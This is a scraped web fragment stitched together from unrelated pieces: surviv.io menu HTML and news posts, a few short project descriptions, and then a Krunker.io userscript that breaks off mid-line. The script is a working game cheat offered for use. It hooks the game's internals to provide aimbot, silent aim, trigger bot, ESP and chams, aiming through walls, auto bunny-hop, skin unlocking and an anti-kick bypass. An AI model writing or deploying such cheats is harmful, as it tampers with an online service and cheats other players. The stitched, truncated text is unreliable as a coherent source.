btn-team-option' id='btn-join-team' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option btn-team-option' id='btn-create-team' data-l10n='index-create-team'>Create Team</a> </div> <div id='btn-help' class='menu-option btn-darken' data-l10n='index-how-to-play'>How to Play</div> <div id='start-help'> <h1 data-l10n='index-controls'>Controls</h1> <p><span class='help-action' data-l10n='index-movement'></span>: <span class='help-control' data-l10n='index-movement-ctrl'></span></p> <p><span class='help-action' data-l10n='index-aim'></span>: <span class='help-control' data-l10n='index-aim-ctrl'></span></p> <p><span class='help-action' data-l10n='index-punch'></span>/<span class='help-action' data-l10n='index-shoot'></span>: <span class='help-control' data-l10n='index-shoot-ctrl'></span></p> <p><span class='help-action' data-l10n='index-change-weapons'></span>: <span class='help-control' data-l10n='index-change-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-stow-weapons'></span>: <span class='help-control' data-l10n='index-stow-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapons'></span>: <span class='help-control' data-l10n='index-swap-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapon-slots'></span>: <span class='help-control' data-l10n='index-swap-weapon-slots-ctrl'></span></p> <p><span class='help-action' data-l10n='index-reload'></span>: <span class='help-control' data-l10n='index-reload-ctrl'></span></p> <p><span class='help-action' data-l10n='index-scope-zoom'></span>: <span class='help-control' data-l10n='index-scope-zoom-ctrl'></span></p> <p><span class='help-action' data-l10n='index-pickup'></span>/<span class='help-action' data-l10n='index-loot'></span>/<span class='help-action' data-l10n='index-revive'></span>: <span class='help-control' data-l10n='index-pickup-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-medical'></span>: <span class='help-control' data-l10n='index-use-medical-ctrl'></span></p> <p><span class='help-action' data-l10n='index-drop-item'></span>: <span class='help-control' data-l10n='index-drop-item-ctrl'></span></p> <p><span class='help-action' data-l10n='index-cancel-action'></span>: <span class='help-control' data-l10n='index-cancel-action-ctrl'></span></p> <p><span class='help-action' data-l10n='index-view-map'></span>: <span class='help-control' data-l10n='index-view-map-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-toggle-minimap'></span>: <span class='help-control' data-l10n='index-toggle-minimap-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-ping'></span>: <span class='help-control' data-l10n='index-use-ping-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-emote'></span>: <span class='help-control' data-l10n='index-use-emote-ctrl'></span></p> <h1 data-l10n='index-how-to-play'>How to Play</h1> <p data-l10n='index-tips-1-desc'>The goal of surviv.io is to be the last player standing. You only live once per game - there is no respawn!</p> <h1 data-l10n='index-tips-2'>2D PUBG</h1> <p data-l10n='index-tips-2-desc'>If you've played other battle royale games like PUBG, Fortnite or H1Z1, then you're already halfway there! Think of surviv.io as 2D PUBG (with slightly less desync and more chicken).</p> <h1 data-l10n='index-tips-3'>Loot and Kill</h1> <p data-l10n='index-tips-3-desc'>You'll begin the game with no items other than a simple backpack. Move around the map to find loot: weapons, ammo, scopes, and medical items. Eliminate other players and you can take their loot!</p> <h1 data-l10n='index-tips-4'>Red = Bad!</h1> <p data-l10n='index-tips-4-desc'>Players aren't the only thing that can hurt you. The deadly red zone will move in from the sides of the map and deal increasingly greater damage if you stand in it. Keep an eye on the map and stay safe.</p> </div> </div> </div> <div id='team-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <a class='btn-darken menu-option' id='btn-team-leave' data-l10n='index-leave-team'>Leave Team</a> <div id='team-menu-connecting'> <div class='ui-spinner'></div> <div class='team-menu-connecting-text' id='team-menu-joining-text'><span data-l10n='index-joining-team'>Joining team</span> ...</div> <div class='team-menu-connecting-text' id='team-menu-creating-text'><span data-l10n='index-creating-team'>Creating team</span> ...</div> </div> <div id='team-menu-contents'> <div id='team-desc'> <div id='team-desc-text'><span id='invite-link-text' data-l10n='index-invite-link'>Invite link</span>: <span id='team-url'></span> </div> <a id='team-copy-url' class='copy-item btn-darken'></a> <a id='team-hide-url' class='hide-item btn-darken'></a> <div id='team-code-text'><span id='invite-code-text' data-l10n='index-invite-code'>Invite code</span>: <span id='team-code'></span></div> </div> <div id='team-menu-columns'> <div id='team-menu-members' class='team-menu-block'> <div id='team-menu-member-list'></div> </div> <div id='team-menu-options' class='team-menu-block'> <select id='team-server-select' class='btn-hollow btn-hollow-selected server-select menu-option'> <optgroup id='team-server-opts' label='Region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-1' data-l10n='index-duo'>Duo</a> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-2' data-l10n='index-squad'>Squad</a> </div> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-fill' id='btn-team-fill-auto' data-l10n='index-auto-fill'>Auto Fill</a> <a class='btn-hollow btn-darken team-menu-option btn-team-fill' id='btn-team-fill-none' data-l10n='index-no-fill'>No Fill</a> </div> <div id='team-menu-options-start'> <a class='btn-green btn-darken menu-option' id='btn-start-team' data-label='Play' data-l10n='index-play'>Play</a> <div id='msg-wait-reason'></div> </div> </div> </div> </div> </div> </div> <div id='team-mobile-link' class='menu-column menu-block'> <div id='team-mobile-link-desc' class='team-mobile-link-text' data-l10n='index-join-team-help'>Got a team link or code? Paste it here:</div> <div id='team-mobile-link-warning' class='team-mobile-link-text'>Invalid link!</div> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste team link or enter code here' id='team-link-input' /> <a class='btn-darken menu-option btn-team-option' id='btn-team-mobile-link-join' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option' id='btn-team-mobile-link-leave' data-l10n='index-back-to-main'>Back to Main Menu</a> </div> <div id='right-column' class='menu-column'> <div id='pass-wrapper'> <div id='pass-unlock-tooltip'> <div class='tooltip-pass-title'></div> <div class='tooltip-pass-desc'></div> </div> <div class='right-column-toggle news-toggle'> <div class='account-alert'></div> </div> <div id='pass-loading' class='pass-column menu-block'> <div id='pass-loading-spinner'></div> </div> <div id='pass-block' class='pass-column menu-block'> <div id='pass-name'> <span id='pass-name-text'></span> </div> <div id='pass-progress' class=''> <div id='pass-progress-level' class=''></div> <div id='pass-progress-bar' class=''> <div id='pass-progress-bar-fill'></div> <div id='pass-progress-xp'> <span id='pass-progress-xp-current'></span> <span>/</span> <span id='pass-progress-xp-target'></span> <span>XP</span> </div> </div> <div id='pass-progress-unlock-wrapper'> <div id='pass-progress-unlock' class=''> <div id='pass-progress-unlock-image' class=''></div> </div> <div id='pass-progress-unlock-type-wrapper' class=''> <div id='pass-progress-unlock-type-border' class=''> <div id='pass-progress-unlock-type-image' class=''></div> </div> <div id='pass-progress-unlock-overlay' class=''></div> </div> </div> </div> <div id='pass-quest-wrapper' class=''> <div id='pass-locked'> <div id='btn-pass-locked' class='menu-option btn-darken' data-l10n='quest-login-prompt'>Log in to get quests!</div> </div> <div id='pass-quest-0' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> <div id='pass-quest-1' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> </div> </div> </div> <div id='news-wrapper'> <div class='right-column-toggle pass-toggle'></div> <div id='news-block' class='menu-block'> <div id='news'> <h3 class='news-header'>What's New!</h3> <div id='news-current' data-date='2020-2-24'> <small class='news-date'>February 24, 2020</small> <p class='news-paragraph'><strong>Curveball</strong></p> <p class='news-paragraph'>The <span class='highlight'>Savannah</span> has returned with a new perk to help flush snipers out of position.</p> <p class='news-paragraph'>The <span class='highlight'>Closer Perk</span> throws grenades much farther, allowing you to put Snipers on the move.</p> </div> <div data-date='2020-2-10'> <small class='news-date'>February 10, 2020</small> <p class='news-paragraph'><strong>Keep Your Enemies Closer</strong></p> <p class='news-paragraph'>PARMA recognizes this season of togetherness and generously offers to help rivals resolve their differences. The all new <span class='highlight'>Heart Cannon</span> diffuses damage taken from your frenemies. For groups of future friends, the same effect is achieved with the all-new <span class='highlight'>Heart Grenade</span>.</p> <p class='news-paragraph'>If you do not trust the intentions of your new friends, eat an entire <span class='highlight'>box of chocolates</span> to counter the effect of <span class='highlight'>Heart Weapons</span>.</p> </div> <div data-date='2020-1-27'> <small class='news-date'>January 27, 2020</small> <p class='news-paragraph'><strong>Dodge This</strong></p> <p class='news-paragraph'><span class='highlight'>Woods</span> Mode is back with two new weapons and things are bound to get explosive. The <span class='highlight'>PKM</span> and <span class='highlight'>Hawk 12G</span> join the Woods Map arsenal, along with increased grenade capacity.</p> <p class='news-paragraph'>The <span class='highlight'>PKM</span> packs a punch while balancing mobility and range. Based on the M870 with an added magazine, the <span class='highlight'>Hawk 12G</span>'s ammo capacity of 5 is the same as its parent weapon, the fire delay is faster and fires a tighter spread. </p> </div> <div data-date='2020-1-13'> <small class='news-date'>January 13, 2020</small> <p class='news-paragraph'><strong>Stay frosty</strong></p> <p class='news-paragraph'>Winter has arrived on the Island with new features and is more dangerous than ever, including PARMA's latest item, the <span class='highlight'>Flask</span>.</p> <p class='news-paragraph'>Track your enemy's footprints and use the <span class='highlight'>Snow Fox</span> perk to cover up your footprints. Be sure to keep moving or take freezing damage. Flasks and the <span class='highlight'>Polar Bear</span> perk keep you from freezing. And watch out for ice. It's slippery.</p> </div> <div data-date='2019-12-30'> <small class='news-date'>December 30, 2019</small> <p class='news-paragraph'><strong>Free Fryer</strong></p> <p class='news-paragraph'>PARMA's FSTMS division is pleased to introduce the next generation in starch-based modern warfare: the <span class='highlight'>spud gun</span>.</p> <p class='news-paragraph'>Officially designated the SMG-8 (Spud Missile Generator), the spud gun uses a proprietary breech-to-muzzle heat expander to fry and propel wedge-shaped projectiles at tremendous speeds. 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finngaida
iOS drop-in control giving you the iOS 7.1 brightness/volume style slider with a dynamic fadeout animation.
jose-villegas
This project implements style functions for volume rendering, producing cheap but quality visuals with the use of litspheres. Style transfer is really useful in this regard as styles such as bones, wood, of vegetation can be stored in litspheres.
Gabriel1231n2j3n
// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && 